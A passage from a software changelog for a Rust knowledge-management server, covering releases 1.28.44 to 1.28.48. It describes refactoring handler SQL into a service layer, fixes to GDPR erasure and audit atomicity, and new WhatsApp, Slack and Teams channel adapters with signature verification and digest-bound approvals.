  • The /purge by-ids/by-owner families move (service/lifecycle/ purge.rs): target resolution (the by-owner sweep runs INSIDE the tx, so the target set is read at the same instant the erasure runs), the legal-hold preflight (the exact shared 409 legal_hold_active envelope), the strict-posture remanence pragmas (secure_delete=ON before, WAL TRUNCATE checkpoint after — both warn-not-lie), and the erasure itself through the shared Quarry primitive. The evidence audit now rides the SAME transaction as the erasure (SAVEPOINT-nested) — pre-move it rode the connection after the commit, a crash window that left a purge permanently unevidenced; the row’s bytes are identical, only the atomicity changed (the Plumb exemplar’s shape; pinned by lifecycle_purge_audits_inside_the_tx). The negative-reach invalidation (the recall_traces deletes — no stale trace may keep “proving” erased content was returned — plus the tombstone row) already rode the same tx inside the primitive; re-asserted by lifecycle_purge_evidence_and_trace_invalidation_ride_the_same_tx.
  • The by-id/batch read projections move (service/lifecycle/fetch.rs): /get/{id} and /multi-get row loads are domain-scoped cores returning STORED forms, with the read seam (sanitize_read* on every emitted field), the row’s-own-domain re-authorization, and the composite record gate kept at the handler emission boundary; plus the shared KNOWLEDGE_ROW_COLS/knowledge_row_to_json/load_knowledge_row projection (one source of truth for the export and the /ump/* record paths) out of the gate handler. MAX_MULTI_GET/MAX_PURGE_IDS are re-asserted at the storage boundary (the routes keep their identical wire fences in front).
  • gate.rs 83 → 78 (−5 incl. moved test seeds): the proposal family and the export surface remain (a later milestone; Masonry’s scope is the lifecycle surface only). The frozen debt floor drops 359 → 354 in the same commit that moved the SQL. legal_hold::active_hold_ids retyped to rusqlite::Error (the Quarry active_reasons convention — storage helpers return storage errors); handler call sites map with the identical internal-error body.

Security fixes

  • Read-seam meta-test coverage for the moved read paths: get_chunk and multi_get join stored_text_fields_pass_the_read_seam’s site table — the response-forming boundary now proves the seam at emission, precisely because the row loads moved below it.

Engineering record

  • Scope reconciliation (the plan is law; the tree is the truth): the roadmap priced Masonry against planning-time numbers (gate.rs “84 SQL”, “3,677 lines”, four aggregates “in one file”) and its own header commits to re-measurement at execution (“the scoping estimate was re-measured; the frozen numbers are the ones the counter produces on the frozen tree”). The frozen truth: gate.rs 83, and the get/multi-get handler bodies live in the router file. Masonry therefore moves the four lifecycle aggregates from where they actually live — decay and purge (plus the shared record projection) from handlers/gate.rs, the by-id/batch row loads from main.rs — into the three planned submodules. The proposal family and /export stay in gate.rs (unlisted in the plan’s scope; moving them would have been scope invention). The plan’s “negative-lookup cache invalidation rides the same tx” has no knowledge-side cache in the tree; its true referent is the primitive’s in-tx recall_traces invalidation + tombstone (a stale trace IS the negative-lookup artifact), which is true of the function and now pinned in the lifecycle purge module too. The auth-side RevocationCache negative-lookup cache is unrelated to /purge storage and untouched.
  • Pins (count delta ≥ 0): the three /decayed unit pins moved verbatim with their aggregate (page_decayed_respects_limit_and_offset, page_decayed_judges_bound_domains_by_their_profile, decayed_superset_sql_covers_every_rust_expired_row); the route-level WORM-lite pin (legal_hold_freezes_erasure_and_dsar_defers) stays with the router it pins and stays green; the Quarry primitive pins stay green untouched. NEW: lifecycle_module_has_no_http_types (production source across service/lifecycle.rs + every lifecycle/*.rs submodule never names a handler/transport type or a pool handle — and walks the subtree, closing the general grep’s non-recursive blind spot for dsar/sweep.rs too), sql_superset_plus_rust_arbiter_move_together, the lifecycle purge pins (purge_targets_by_owner_resolves_inside_the_tx, purge_targets_preflight_refuses_held_id_with_reasons, lifecycle_purge_audits_inside_the_tx, lifecycle_purge_evidence_and_trace_invalidation_ride_the_same_tx, purge_targets_reasserts_the_max_ids_fence), the fetch pins (load_knowledge_row_projects_every_rendered_column, fetch_projections_are_domain_scoped, chunks_in_domain_reasserts_the_bounds_fence), and decayed_page_reasserts_the_bounds_fence. Pin-count delta: main-binary tests 1003 → 1010 (+7; the 3 moved decay pins + 8 new − 4 net of the seam-site additions riding an existing test — total never decreases).
  • Wire artifacts diff-empty: openapi.yaml, the route-coverage array, and the route-authz table are untouched (no route changes; the x-api- version stamp moves only when the wire contract moves, and it did not). Schema untouched at 1.28.45. Error bodies byte-preserved: the typed errors map onto the frozen vocabulary — no matching chunks to purge (404), the shared legal_hold_active envelope with reasons (409), too_many_ids/no_target/ambiguous_target (400), and internal-error bodies carrying the rusqlite text verbatim (commit failed: prefix included).
  • Bounds inventory (hardening law #4): MAX_DECAYED clamp + offset floor (route + core, decayed_page_reasserts_the_bounds_fence), MAX_MULTI_GET (route 400 + core fence, chunks_in_domain_reasserts_the_bounds_fence), MAX_PURGE_IDS (route 400 + core fence, purge_targets_reasserts_the_max_ids_fence; the constant moved to config.rs so the service can share it without naming a handler module), and LIMIT 1-shaped single-row loads (load_knowledge_row, chunk_in_domain).
  • FK-children map + certified silence: the lifecycle family adds NO delete path — decay/fetch are read-only; the only deletion remains the Quarry primitive’s knowledge hard-delete whose FK-children map (incl. the case_articles/kcs_translations NO ACTION ceilings) is the service/purge.rs module header; the residue rows-affected checks (`if n

    0→ tombstone + count) are unchanged and still pinned there. Both facts are documented in thelifecycle.rs` header.

  • Gates: fmt clean; clippy --all-targets --features bench -D warnings zero warnings; full suite --features bench green (1290 passed, 6 ignored; main-binary 1008 vs 1003, +5). CI dry-run: lint-test (default features) clippy+tests, engine-crates tests+clippy, steward-harness, otel-gate clippy+tests — all green; lipstyk diff-strict clean (one verbose-match in the moved decayed handler collapsed, Quarry-fix style); client fmt clean (client/ untouched).
  • Live smoke on a DB COPY (two servers, same seeded copy, v1.28.46 vs v1.28.48, opaque + JWT modes): /decayed?limit=500 byte-identical; /decayed pagination (limit=1&offset=0/1) byte-identical; a legal hold hides the held id from /decayed on both; /purge of the held id → 409 legal_hold_active with the reasons byte-identical on both; after release the purge succeeds ({"purged":1}) with tombstone + audit row on both; by-owner purge ({"owner":…}) → {"purged":N} byte-identical on both; /get/{id} + /multi-get byte-identical for loopback (raw PII by loopback-trust design) AND for a non-admin JWT reader (both binaries redact to [redacted:email][redacted:phone] — the PII-flag redaction difference, byte-identical old vs new); /audit/verify {"ok":true} on both at every step. The hold-placement/release dance surfaced a pre-existing 1.28.46 behavior (dual-gate release + the route’s all-or-nothing unknown-id refusal), not a regression; final-state tombstones and the audit chain verified identical.
  • Ceilings (honest): the moved rows stay legacy serde_json::Value shapes (byte-for-byte wire pins outrank the domain-type aspiration — same ceiling as the retention exemplar); DecayedQuery/PurgeRequest stay handler-side HTTP types (they ARE the transport contract); gate.rs still carries the proposal family + export surface (a later milestone; the “seam-library remainder” end-state for gate.rs is NOT reached this milestone — Masonry removes the lifecycle families only); the smoke’s 409-provenance divergence (multi-hold accumulation from repeated hold calls against one DB copy) was smoke-harness state, not wire behavior — re-verified byte-identical per-server.

Predecessor: [1.28.47] — “Quarry”: the rights surface, one core.


[1.28.47] — 2026-08-28 — “Quarry”: the rights surface, one core

The Foundation Line’s second vein, and the biggest single-surface retirement of the line: the entire DSAR (GDPR Art 15/17) storage story — locate, export bundle, purge, certificate, and ledger composition — moved out of the observe handler into src/service/dsar.rs. The highest-stakes erasure path now lives behind the same law as the retention exemplar: services own the SQL, handlers are protocol adapters, and a source pin keeps it that way.

Release notes

Bug fixes

  • A DSAR purge no longer aborts when the subject’s governed runs carry a delegation or a channel thread. delegations.run_id (Mesh) and channel_threads.case_run_id (Switchboard) are declared NOT NULL foreign keys on workflow_runs with no cascade — but the erasure sweep never cleared either family, so a subject whose runs carried one violated the FK and failed the whole DSAR (loud and fail-closed, but the erasure was unreachable for exactly those subjects; both schema comments already claimed “rows die with their DSAR sweep”). The Quarry move’s FK-children map exposed the gap; both families now die with the run, before the parent row. The failure-path delta is pinned by dsar_sweep_takes_the_run_fk_children_delegations_and_channel_threads.

Improvements

  • The rights surface converges onto the service layer: src/service/dsar.rs owns locate, the portable export bundle (Art 15 symmetry with the purge, channel_notes[] included), one pool’s full erasure (run_pool: remanence pragma posture → purge tx with held-id deferral → trace/proposal residue sweeps → workflow sweep → ledger row committed atomically with the purge → best-effort WAL TRUNCATE), the certificate shape, the certificate backfill, the ledger page, the tombstone registry page, the tenant-gated certificate re-fetch, and the stale-ledger prune. src/service/dsar/sweep.rs is the single home for “what erasure reaches” in the governed-workflow tables (folded in from workflow/erasure.rs). src/service/purge.rs takes the shared knowledge-purge primitive (the legal-hold backstop inside the FUNCTION, the tombstone digest, the orphan-entity sweep) out of the gate handler so the DSAR core, /purge, client termination, and ump hard-forget all call the same storage law. The observe handler keeps exactly the adapter work: parse, Admin/role gates, multi-pool ordering (non-global first, global last with the aggregate digest), the Art 19 webhook, and response shaping.
  • Observe.rs carries zero embedded SQL — 66 → 0, the first handler file in the line to drain completely. gate.rs 103 → 83 (−20 incl. the moved primitive + its pin). The frozen debt floor drops 445 → 359 in the same commit that moved the SQL.
  • The legal-hold read helper returns storage errors (crate::legal_hold::active_reasons → rusqlite::Error), so service cores consume it without a handler type in the way; every handler call site maps it with the identical internal-error body as before.

Security fixes

  • The knowledge-purge backstop fence is now structural: moving the primitive into the service layer pins the fence to the FUNCTION (a future caller cannot repeat the ump.forget miss), and a new test (purge_chunk_ids_backstop_refuses_held_id) proves a held id is never purged even when the caller forgets its own preflight — the error carries the hold reasons for the shared 409 legal_hold_active envelope.

Engineering record

  • Plan-named pins, all green: every observe.rs pin repointed in the same commit — dsar_dry_run_footprint_counts_and_writes_nothing (the preview writes nothing), cross_domain_dsar_purges_all_pools_and_ledgers_once (multi-pool ordering: non-global first, global last, exactly one ledger row carrying the aggregate digest), the held-id deferral legs (legal_hold_freezes_run_from_dsar_sweep, dsar_sweep_and_legal_hold_revoke_refs, the wire-level legal_hold_freezes_erasure_and_dsar_defers), dsar_export_bundle_builder_matches_live_shape (Art 15 export/purge symmetry incl. channel_notes[]), dsar_purge_erases_proposals_and_orphaned_entities, the tombstone-registry pins (dsar_ledger_stores_hash_not_raw_bundle, purge_deletes_only_old_completed_rows, purge_zero_retention_is_a_noop, ledger_row_is_committed_atomically_with_purge_tx_commit, test_tombstone_backfill_makes_legacy_rows_visible), the Art 19 fail-soft webhook pin (test_observe_art19_webhook_posts_on_purge), and the remanence posture pin (dsar_certificate_states_remanence_posture, in place in clients.rs — the pragma-ATTEMPT rule moved certificate-owned into run_pool and the pin stayed green untouched). All six workflow-sweep pins moved verbatim with their submodule; the full sweep of locate/ledger wire pins (test_observe_dsar_locate_and_purge_semantics, test_ingest_owner_flows_to_dsar_locate, test_dsar_deadline_is_created_at_plus_window, test_dsar_ledger_list_returns_rows_with_deadline_fields) repointed to the core. NEW source assertion: dsar_core_is_handler_free — production source across service/dsar.rs, service/dsar/sweep.rs, and service/purge.rs never names crate::handlers, a handler type, a transport type, or a pool handle. Pin-count delta: main-binary tests 1000 → 1003 (+3 net: the source assertion, the purge backstop pin, and the FK-gap pin; the tombstone-digest pin moved with the primitive, total count never decreases — the move-with-pins law). Full suite: 1279 passed, 7 ignored (1276 → 1279, +3).
  • The move was verbatim where the law demands it: statement SQL, sweep order, dry-run arithmetic, and the certificate JSON shape are the handler’s bytes, re-homed. The mechanical adaptations: typed service errors (DsarError/PurgeError with From<rusqlite::Error> preserving messages verbatim; the handler From impls render the exact frozen bodies — internal-error text unchanged, the certificate route’s 404 unchanged, the shared 409 legal_hold_active envelope unchanged), ?-propagation via those From impls replacing per-site map_err noise, the bundle/ledger digest now computed by crate::audit::hash (byte-identical lowercase-hex SHA-256 to the gate-local helper it replaces in the moved code; the known vector pins on both sides prove it), and run_dsar_pool becoming the thin per-pool seam (borrow a connection, call the core — the pool handle never crosses). The two intended deltas are BOTH on failure paths: the FK-gap fix above and nothing else.
  • The FK-children map was written BEFORE the move (the erasure lesson, now structural law): knowledge‘s map lives in the purge module header (embeddings CASCADE; relationships SET NULL + explicit; evidence_links/proposals/recall_traces soft refs, explicit; tombstones a soft ref BY DESIGN), workflow_runs’ map in the sweep header (steps/findings/contradictions/outbox/handover_offers/case_notes deleted first; case_status_refs purged or revoked; crm_cases UNLINKED; delegations + channel_threads the closed gap).
  • Wire artifacts byte-identical: openapi.yaml diff-empty against origin/main; route-coverage and route-authz tables untouched; schema untouched at 1.28.45 — zero migrations, rollback = git revert of the milestone’s commits, the database unaffected by construction.
  • Full gate green: cargo fmt --check; cargo clippy --all-targets --features bench -- -D warnings; cargo test --features bench (1279 passed, 7 ignored); the pre-push dry-run CI suite (default-feature clippy
    • tests, engine-crates, steward-harness, otel gates); lipstyk diff-strict clean; live smoke on a COPY of the production DB (below).
  • Live smoke (DB copy, shim mode): seeded an owned root + a derived descendant + an active legal hold on the derived chunk; dry-run preview reported roots 1 / derived 1 / export rows 2 and wrote nothing; the live POST /dsar (action both, jurisdiction eu, mechanism scc-eu-2021) purged the free root only, LISTED the held chunk + reason under held_ids, wrote the ledger row with the bundle digest, and returned the EU rights + deadline; GET /dsar/{id}/certificate → chain_verifies: true; GET /audit/verify → ok: true; the tombstone registry lists the purged root under owner:<subject>.

Honest ceilings

  • case_articles.knowledge_id and kcs_translations.knowledge_id are declared FKs with NO ACTION and are NOT cleared by the purge — purging a chunk that carries a case article or a knowledge translation violates the FK and fails the whole tx (pre-existing, loud, fail-closed; unifying those sweeps is a follow-up, deliberately not silently widened here).
  • Delegations and channel threads die WITH the run (FK necessity); they are not subject-matched. A delegation or thread referencing the subject on a SURVIVING run (another subject’s run) is not swept by the subject arms — the consent-registry re-hash posture would apply if the product ever wants it; filed as a follow-up, not improvised in a refactor line.
  • run_pool owns its per-pool transaction (begin/commit inside the core) so the pragma posture, the purge, the ledger row, and the checkpoint stay one story; multi-pool sequencing stays handler-side. This is the documented shape for per-pool atomic erasure — not a general license for service-side tx ownership, which remains the caller’s for multi-step handler flows (the retention exemplar’s law stands).
  • The outbox self-reference caveat: outbox.parent_id is a declared self-FK; a single-statement delete is safe (immediate FKs check at statement end), but a CROSS-run parent link (child on run B pointing at a parent on run A) would fail run A’s sweep loudly — no such link is written today (the lineage writer is run-local).
  • Wire shapes stay legacy: ledger rows / tombstone page / certificate view keep their shipped shapes (derived structs + serde_json maps) — the byte-for-byte pins outrank the domain-type aspiration; typing them is a follow-up.
  • The baseline counts comments and test seeds (substring lock, not a precision instrument); observe.rs’s zero includes its emptied test module — the pins moved with the code they pin.

[1.28.46] — 2026-08-28 — “Plumb”: the service layer, the debt lock, the first vein

The Foundation Line begins. This release ships ZERO features, ZERO endpoints, ZERO schema changes, ZERO wire changes — by design. Its product is structure: the measuring stick that makes the handler-embedded SQL debt visible and non-regressable, the service-layer contract the whole line converges onto, and the smallest audited surface moved end-to-end to prove both cheaply. From here on, handler SQL can only shrink.

Release notes

Bug fixes

  • A POST /retention policy set is now atomic and its evidence audit rides the same transaction. Pre-move, each override upsert autocommitted on its own (a mid-loop failure could persist a PARTIAL policy) and the audit row was written on a second pooled connection AFTER the write had already committed — a crash between them left the override permanently unevidenced. Both writes now live inside ONE transaction: a failure rolls the whole set AND its evidence back together; a success commits them together.

Improvements

  • The debt lock: a CI guard (sql_inventory_baseline_freezes_the_debt) freezes the per-file SQL-statement inventory of src/handlers/*.rs — 445 embedded statements across 29 files at freeze time. Any file growing past its frozen count (or SQL appearing in an unlisted file) fails CI; progress below baseline prints the delta as the line’s scoreboard. Slots only shrink.
  • The service layer: src/service/ opens as the convergence target with the layer contract as code + docs — services take connections (never pools, server state, or HTTP types), own their aggregate’s complete storage story (SQL, bounds, FK-children map, audit-per-write inside the caller’s transaction), return typed errors that handlers map onto frozen HTTP vocabularies. Enforced by greps pinned as tests, from day one.
  • The first extraction: the retention family (policy get/set + the retention-schedule report) moved from the govern handler to src/service/retention.rs. The handler keeps the Admin gate, parsing, and spawn_blocking; the core owns the override upsert, the report queries, and the evidence audit inside ONE transaction. govern.rs: 18 → 6 embedded statements (−12 incl. the tests that moved with the code).

Security fixes

  • Audit evidence can no longer be lost between a retention override and its audit row. The evidence write is SAVEPOINT-nested inside the mutation’s transaction (pinned by retention_override_audits_inside_the_tx and its rollback twin), closing the unevidenced-write window on the retention surface.

Engineering record

  • Plan-named pins, all green: sql_inventory_baseline_freezes_the_debt (the lock), sql_baseline_total_stays_at_the_frozen_floor (the table itself cannot silently loosen), service_layer_is_transport_free (the layer-violation greps: no transport identifiers under src/service/), retention_override_audits_inside_the_tx + retention_override_rolls_back_with_its_audit (the audit-per-write law, both legs), retention_report_rows_match_legacy_byte_for_byte (fixture captured from the PRE-move handler and asserted green BEFORE the move, then repointed — the run proves the move changed the address, not one byte), retention_set_refuses_out_of_bound_entries (the storage-boundary fence), and retention_report_matches_policy (moved verbatim with its function). Pin-count delta: main-binary tests 993 → 1000 (+7; total count never decreases — the move-with-pins law).
  • The baseline was re-measured at execution, as the plan ordered: the roadmap’s scoping estimate (379) was taken with a line-based grep; the frozen counter is case-insensitive, non-overlapping substring occurrences of the four statement openers (SELECT , INSERT , UPDATE , DELETE FROM) per file — 445 across 29 files (gate 103 / observe 66 / domains 64 / clients 44 / workflow 23 / ingest 22 / govern 18 / …). Substring semantics are deliberate: false positives only tighten the lock. The guard refuses stale rows (a deleted handler file must lower the table in the same commit) and fails closed on unlisted files (implicit baseline zero).
  • The exemplar move kept the wire frozen: RetentionError::Database carries the rusqlite message verbatim, mapped by the handler to the byte-identical internal-error body; the retention report stays the legacy JSON maps (keys alphabetically ordered, as shipped); the response shapes of GET/POST /retention and GET /retention/report are unchanged. The storage-boundary fence (days ∈ [1, 36500], non-empty kind) mirrors the handler’s exact 400s for future direct callers — unreachable over the wire.
  • Wire artifacts byte-identical: openapi.yaml, route-coverage, and route-authz tables untouched (no route changes); schema untouched at 1.28.45 — zero migrations, rollback = git revert of the milestone’s commits, the database unaffected by construction.
  • Full gate green: cargo fmt --check; cargo clippy --all-targets --features bench -- -D warnings; cargo test --features bench (1276 passed, 7 ignored); the pre-push dry-run CI suite (default-feature, engine-crates, steward-harness, otel gates); lipstyk diff-strict; live old-vs-new smoke on identical DB copies (below).

Honest ceilings

  • The lock stops regrowth but does not force pace — progress between milestones may be zero without failing CI; the enforcing flip (any SQL under src/handlers/ fails) is the line’s LAST milestone, not this one.
  • Report rows stay legacy JSON maps (serde_json::Value), not domain structs — the byte-for-byte wire pin outranks the domain-type aspiration; typing them is a follow-up, deliberately NOT part of this move.
  • The baseline counts comments and test seeds — it is a substring-regex debt lock, not a precision instrument; the frozen numbers are the law the counter encodes, and only a monotone-downward drift is allowed.
  • Kind charset validation stays at the handler (it is handler-typed); the core fence re-asserts bounds + emptiness only. A future non-HTTP caller of set_overrides gets bounds enforcement, not full charset validation.
  • The guard watches src/handlers/*.rs only — service cores are the destination the debt drains toward, not a new volume to police.

[1.28.45] — 2026-08-27 — “Herald”: Slack and Microsoft Teams (the operator channels)

The channels enterprises already live in become the console’s ANNEXES: case rooms, Relay handovers, and digest-bound approvals where the people already are. Two adapters, one release — they serve the same buyer moment. The kernel keeps every law it has: the console annex authenticates over the SAME Standard-Webhooks HMAC seam, resolves every actor through a proposal-maintained user map (platform identity is NEVER auto-trusted), and approves through the byte-identical approve verb, so Gateweld’s digest binding now holds TWICE on a channel click — bridge-side against the rendered digest, server-side inside the approve verb.

Release notes

Improvements

  • The Slack edge (Socket Mode): tools/channel-bridge gains a slack kind that binds NO listener — the bridge DIALS Slack over the Socket-Mode WebSocket (apps.connections.open → wss, capped-backoff reconnects). message events in mapped channels become screened case notes via the ordinary inbound seam (thread map or [case N]); the sender’s OPAQUE user id rides as actor_ref. Pinned by socket_mode_never_opens_an_inbound_listener (source-text grep + a pure kind→listener predicate).
  • Approve-by-button: pending renderable proposals (draft / kcs_* / channel/template / channel/user_map) render as Slack Blocks with the content preview AND the digest shown in the block; Approve/Reject button payloads MUST carry that digest — a missing or mismatched digest is refused bridge-side, logged, and never relayed (slack_button_approval_carries_digest_and_binds). Adaptive Cards do the same on Teams (adaptive_card_submit_returns_digest), Action.Submit returning the digest field.
  • The bridge-relayed operator console: ONE new additive route, POST /webhooks/channel/{kind}/console (HMAC self-authenticating like receive/drain). Closed action vocabulary — pending, decide, due, crank. The kernel maps actor_ref through the user map, role-checks against the role store, and then calls the EXISTING console verbs, so a channel approval is CAS-safe, audited, and replay-refused exactly like a browser approval.
  • The Slack user map: POST /workflow/channel/user-map FILES a channel/user_map proposal (crew_skills_update-style); approval is the ONLY writer of the new channel_user_map table — no auto-trust path exists (slack_user_map_changes_flow_through_proposals). Platform ids are stored opaque (never display names); roles resolve against the role store at file AND apply time; every change carries its audit row (proposer on the proposal, approver on the apply).
  • Relay handover pings: a fresh handover offer enqueues ONE channel/ping outbox row carrying the I-PASS completeness state (refs only). The bridge drain resolves the receiving operator’s mapped platform refs + the case room and pings them in-channel — the machine coaches before the human accepts (relay_handover_pings_receiving_operator_with_completeness_check). Unmapped principals audit loud and consume; the drain never wedges.
  • Case rooms manifest natively: the thread map IS the room mapping — Slack channels / Teams conversations thread to their cases through the existing channel_threads map, and drained approved acts deliver back into the room (mapped_channel_messages_become_notes_with_threading).
  • Crew presence from channel activity: a mapped operator’s channel messages touch presence with the new closed activity kind channel — activity KINDS only, never content, and only while the domain’s Crew DPO switch is on (writes stop when off; the roster was already hidden).
  • Teams via the supported route: Bot Framework activities verified against the Bot Framework JWKS BEFORE any parse, Adaptive Cards for actions, Graph-based channel enumeration for room mapping as a read-only operator-run CLI flag (--list-channels). The deprecated O365-connector path is explicitly NOT implemented (teams_uses_bot_framework_not_deprecated_connectors, doc-grep).

Bug fixes: None.

Security fixes

  • Two independent digest-enforcement points on channel approvals (bridge render-cache vs stored-content fingerprint at the approve verb).
  • Channel-relayed acts REQUIRE an explicit role grant: an empty role list on a map row grants nothing (the JWT-era vacuous-role back-compat does not extend to platform identities).
  • The Teams edge verifies Bot Framework JWTs (issuer + audience pinned, JWKS cached, refetched on unknown kid) before parsing a single byte.
  • Bridge least privilege documented at the workspace-app level: channel tokens grant nothing beyond their mapped channels; secrets stay 0600 files; the bridge holds no brain token, ever (self-grep extended).

Behavior-change ledger

ChangeNatureCompat
Slack (Socket Mode) + Teams (Bot Framework) adapters in tools/channel-bridgeadditive edge processesconfig-off default; absent config = channel dark
POST /webhooks/channel/{kind}/console (pending/decide/due/crank)additive route, openapi + coverage + guard tables in stepHMAC self-authenticating; bearer surface untouched
channel_user_map table + channel/user_map proposal kind + /workflow/channel/user-mapadditive schema bump to 1.28.45 + additive routeapproval is the only table writer
Envelope actor_ref, drained pings[], activity kind channeladditive wire fields/vocabularyabsent = prior behavior byte-for-byte
Proposal renderers (Blocks / Adaptive Cards) with digest fieldsbridge-sideserver approve endpoint machinery reused byte-identically

Engineering record

  • Plan-named pins (+7): socket_mode_never_opens_an_inbound_listener, slack_button_approval_carries_digest_and_binds, slack_user_map_changes_flow_through_proposals, adaptive_card_submit_returns_digest, teams_uses_bot_framework_not_deprecated_connectors (doc-grep), mapped_channel_messages_become_notes_with_threading (bridge + kernel halves), relay_handover_pings_receiving_operator_with_completeness_check — plus kernel-side: console_pending_carries_digest_and_renderable_kinds_only, envelope_actor_ref_is_bounded_and_optional, and the end-to-end console_seam_digest_law_and_actor_role_checks (signed decide relay through the REAL approve machinery: digest-less 400, forged-digest 409, unmapped 403, approve-once CAS, replay 404).
  • Server-diff verification (the wiring checklist): the plan expected zero server diff with POST /proposals/{id}/approve?digest= reused directly. VERIFIED NECESSARY TO EXTEND: the bridge holds no brain token (pinned house-wide), and with auth configured the bearer middleware 401s every unauthenticated call to the approve route — a channel click could never reach it. The seam therefore lands as the additive console route above (its own ledger row), which REUSES the approve/reject handler machinery unchanged — the digest-binding path is the same code, not a fork. Zero changes to bearer routes; openapi coverage + guard tables updated in the same commit.
  • Schema 1.28.44 → 1.28.45 (additive: channel_user_map); contract-test table list + pragma probe extended in the same commit as the wiring.
  • The crank console action runs the same steward-harness binary the CLI drives (resolution: BRAIN_STEWARD_BIN → beside the kernel → PATH), bounded to ≤10 steps and one 60s timeout window, stdout reduced to refs-only.

Honest ceilings

  • Approvals relayed over the console seam reuse the generic approve machinery, so a replayed decide returns the console’s 404 “no pending proposal” rather than Caravel’s {moved:false} receipt (which remains specific to channel/template dispatch). The bridge surfaces this as “already decided”.
  • Generic /brain approve <id> slash commands can only act on proposals the bridge has RENDERED in this session (the digest comes from the render cache); anything else is refused with guidance to use the proposal card.
  • /brain due lists the valet due queue (bounded 25); it does not fire envelopes — the crank remains the explicit act.
  • Teams drain delivery uses the standard regional BF host rather than a per-activity serviceUrl (the drain path has no inbound activity to echo); per-activity echo remains the inbound path’s rule.
  • Presence from channel activity is an UPSERT bump (channel kind); it carries no case ref, no message content, and no customer refs — by construction, not discipline.
  • The Slack user map is tenant-scoped per bridge config; one platform user may map to exactly one principal per bridge (rotation = re-approve add).
  • No channel-side accept/decline of handovers: the ping coaches, the decision happens on the console where the full I-PASS packet renders.

[1.28.44] — 2026-08-27 — “Caravel”: WhatsApp for Business, the governed edge

A channel is a GOVERNED EDGE, never a server feature — and WhatsApp is the customer-facing channel with the strongest native governance. Caravel does NOT invent discipline: Meta already enforces it (hub signatures, the 24-hour customer-service window, registered templates, per-number quality tiers), so the adapter mostly MAPS platform law onto kernel law. The edge process owns the public webhook surface (the hub.challenge handshake is answered THERE, never by the kernel); brain-server only ever sees verified envelopes over the same Standard-Webhooks seam Switchboard shipped.

Release notes

Improvements

  • The WhatsApp edge (tools/channel-bridge, additive Rust binary, config-off by default — absent config = channel dark): answers the Meta subscription handshake itself; verifies every POST against X-Hub-Signature-256 (raw-body HMAC-SHA256 with the app secret, LENGTH-CHECKED then constant-time compared) BEFORE any parse; projects verified payloads into normalized envelopes; registers mount evidence at boot (channel:whatsapp, config-digest recomputed server-side); drains channel/out on an internal tick crank and delivers to the Cloud API — approved channel/template acts as TEMPLATES, windowed replies as text.
  • The 24-hour window binds the kernel gate exactly: free-form approved acts ride the customer’s clock inside the window; OUTSIDE it, only approved channel/template acts WITH standing consent pass — free-form is refused (outside_reply_window_freeform_blocked) even when approved AND consented.
  • Template sends are PROPOSALS: new proposal kind channel/template (proposal-only via /ingest/proposal; never promoted to knowledge). Its content is the JSON packet {tenant, conversation_ref, template, body}; approving CASes it approved and dispatches the governed send in ONE tx. Double-approved by construction: Meta’s registry AND ours — ours stricter because it carries the content digest of the drained bytes. Business- initiated contact needs ALL THREE gates every time: template + consent + approved proposal; cold conversations open their own governed care case on dispatch (with the reply window CLOSED until the customer answers). Replay-safe: a decided id returns {moved:false}, never a second send.
  • Statuses become lineage events: sent/delivered/read/failed receipts land as ONE case/channel_status outbox event on the thread’s case — hashes and refs on the audit chain, bodies never. Exactly-once by lineage key.
  • Quality tiers throttle deterministically: a backoff table maps tier → minimum send interval (green 0s / yellow 30s / orange 300s / red-and- unobserved 3600s). A FRESH state file is the MOST RESTRICTIVE tier until a status webhook upgrades it (fail-closed throttle); downgrades alert the operator via the bus METADATA-ONLY (number alias + old/new tiers — never content, never customer refs).
  • Media digests-and-quarantine: attachment SHA-256s (≤8 per envelope) are recorded verbatim ON the landed case note; the BYTES stay quarantined edge-side under the retention dir named by digest — never auto-opened, never proxied through brain-server to a browser (fetching media is an operator-run edge act).

Bug fixes: None.

Security fixes

  • Signature hardening per plan: length-checked BEFORE compare plus constant- time fold comparison kills both timing and short-circuit classes; empty/ malformed headers refuse without reaching any MAC work path.
  • Edge config/secret/state files all enforce owner-only (0600) fail-closed: wide permissions or upward-traversing secret paths refuse at load.
  • Self-grep pin extended: bridge_holds_no_brain_credentials now scans BOTH bridge crates (signal-gateway AND channel-bridge).

Behavior-change ledger

ChangeNatureCompat
WhatsApp edge in tools/channel-bridge (handshake + hub-sig verify + Cloud-API sender + tier state)additive edge processconfig-off default
channel/template proposal kind + approve-dispatch wiringadditiveexisting proposal gates reused; memory kinds untouched
Envelope projections: optional attachment_digests[], status, qualityadditive wire fieldsabsent = Switchboard behavior byte-for-byte
case/channel_status outbox topicadditive topic (case/% family)drains ride existing Read-gated SSE fan-out
Tier backoff table (kernel + edge mirror)edge-enforced pacing; kernel-side pinno schema change, no route change
Media quarantineedge-side bytes; digests recorded on notes kernel-sideno kernel storage beyond note text

Engineering record

  • Plan-named pins (+6 bins / mirrored at the edge): twenty_four_hour_window_blocks_freeform_and_allows_approved_template, template_send_requires_our_proposal_not_just_metas, business_initiated_needs_template_and_consent_and_proposal, delivery_status_becomes_lineage_event, tier_downgrade_throttles_and_alerts, media_digests_recorded_content_quarantined — kernel pins live in the channels test module (the fence holds OF THE FUNCTION: enqueue_out re-reads status+kind from the database inside the tx; nothing caller-declared is trusted), and the edge crate carries hub_signature_verified_constant_time plus its own mirror of the tier table with the downgrade-tightening invariant.
  • Schema UNCHANGED at 1.28.44 (additive code only); no routes added — the {kind} wildcard already covers whatsapp data, verified against the openapi coverage tables. Wire doc updates (envelope projections, drained source_payload fields, kind enum) shipped in the same commit across openapi.yaml, docs/api.md, docs/deployment.md.
  • Full gate: fmt clean; clippy -D warnings clean on bench/default/otel targets, engine crates, steward-harness AND the new channel-bridge crate; 980 bin (+6) / 207 lib tests green; lipstyk diff-strict clean; CI dry-run matrix green locally.

Honest ceilings

  • The public HTTPS listener still terminates TLS at the OPERATOR’s reverse proxy; the edge itself binds loopback only. Certificate management remains a deployment concern, deliberately.
  • Quality-tier OBSERVATION accepts the documented account-update envelope shapes ({number_alias|display_phone_number_id}, old/new tiers lowercased); exact Meta taxonomy must be re-verified against the pinned graph_api_version at deploy — invented tiers drop silently rather than lie upstream.
  • Template sends are parameterless (named template verbatim); parameterized components ship later. The kernel enqueues WHAT was approved; operators keep parameterless bodies.
  • Throttled rows defer tick-to-tick AFTER the kernel has marked the claim batch delivered (at-least-once contract carried over from Switchboard): a crash between defer and next poll surfaces loud logs, not guaranteed redelivery.
  • Kernel enqueue_out does not itself pace by tier (pacing lives on the edge where sends actually happen); a mis-deployed edge that skips its state file degrades to loud logging, not silent policy bypass — the three-gate law never depends on tier state.

